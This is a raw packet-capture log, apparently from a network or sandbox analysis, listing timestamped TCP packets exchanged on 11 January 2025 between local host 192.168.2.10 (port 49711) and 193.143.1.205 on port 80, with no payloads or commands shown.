Jan 11, 2025 02:25:10.404266119 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404277086 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404287100 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404298067 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404340982 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.404578924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405040979 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405051947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405057907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405102015 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.405189991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405201912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405211926 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405221939 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405232906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405244112 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405250072 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.405255079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.405271053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.424263000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.424276114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.424293041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.424307108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.424310923 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.424313068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.424341917 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.443140030 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.447968006 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.463903904 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.463927984 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.463937998 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.463989973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.464035034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464046001 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464057922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464067936 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.464068890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464078903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464096069 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.464119911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.464133978 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464159966 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464170933 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464189053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.464297056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.464327097 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.488002062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488027096 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488039017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488049984 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488060951 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488074064 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.488106966 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.488131046 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488142967 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488158941 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488171101 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488171101 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.488182068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488188028 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.488215923 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.488234043 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.503901958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.503920078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.503941059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.503983974 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.503995895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.504008055 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504019976 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504061937 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.504067898 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504131079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504143000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504164934 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504167080 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.504195929 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.504201889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504231930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504241943 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.504264116 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549282074 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549313068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549324036 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549335003 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549349070 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549376011 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549376011 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549388885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549411058 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549427986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549438953 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549458981 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549504042 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549535990 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549539089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549550056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549586058 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549637079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549648046 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549659967 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549679041 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549799919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549833059 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549846888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549858093 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549889088 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.549904108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549958944 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549972057 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.549989939 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550198078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550209999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550220966 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550231934 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550266027 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550374985 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550419092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550430059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550451040 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550530910 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550542116 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550554991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550561905 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550565958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550581932 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550714016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550724983 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550736904 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550746918 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550746918 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550776005 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550929070 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550940990 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550951958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.550965071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.550997019 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551009893 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551021099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551033020 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551043034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551053047 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551079988 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551219940 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551230907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551240921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551250935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551261902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551273108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551279068 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551285028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551310062 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551465034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551476002 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551497936 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551789999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551829100 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551831007 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551842928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551882029 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.551918030 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551930904 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.551969051 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.552040100 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.552054882 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.552064896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.552086115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.552086115 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.552149057 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554316044 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554331064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554342985 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554352999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554361105 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554363966 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554375887 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554385900 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554394960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554405928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554416895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554420948 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554426908 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554439068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554439068 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554456949 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554475069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554486990 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554533005 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554549932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554562092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554580927 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554893970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554918051 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554927111 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.554928064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.554960966 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555015087 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555062056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555073023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555093050 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555099964 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555129051 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555156946 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555340052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555370092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555380106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555391073 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555428028 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555442095 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555495977 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555505991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555517912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555521965 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555552959 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555604935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555615902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555649042 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555798054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555809975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555835009 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555840969 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555877924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555897951 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.555919886 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.555983067 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.556015968 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.556046963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.556057930 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.556068897 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.556091070 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.576776028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.576812983 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.576818943 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.576824903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.576863050 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.576987982 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.576998949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.577012062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.577022076 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.577034950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.577056885 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.592926025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.592950106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.592958927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.592988968 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.592995882 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.592999935 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593010902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593050003 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593060970 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593122005 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593132973 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593183041 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593188047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593197107 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593210936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593229055 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593306065 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593317986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593327999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593333960 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593338013 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593349934 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593358994 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.593358994 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.593377113 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.609580040 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638108969 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638125896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638139009 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638184071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638194084 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638215065 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638226032 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638230085 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638261080 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638288975 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638300896 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638345957 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638425112 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638437033 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638448000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638458014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638468981 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638468981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638479948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638488054 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638513088 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638567924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638580084 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638591051 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638602018 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638613939 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638614893 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638623953 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638638020 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638658047 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638691902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638731956 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638744116 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638751984 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638763905 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638788939 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638890028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638900995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638920069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638931036 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.638932943 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.638972044 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639039040 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639050961 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639061928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639074087 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639084101 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639085054 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639106989 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639197111 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639208078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639219046 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639230013 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639235020 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639240980 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639251947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639262915 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639265060 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639275074 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639283895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639302969 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639380932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639393091 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639435053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639448881 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639460087 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639477968 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639583111 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639594078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639605045 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639616013 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639626026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.639627934 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.639652014 CET	49711	80	192.168.2.10	193.143.1.205
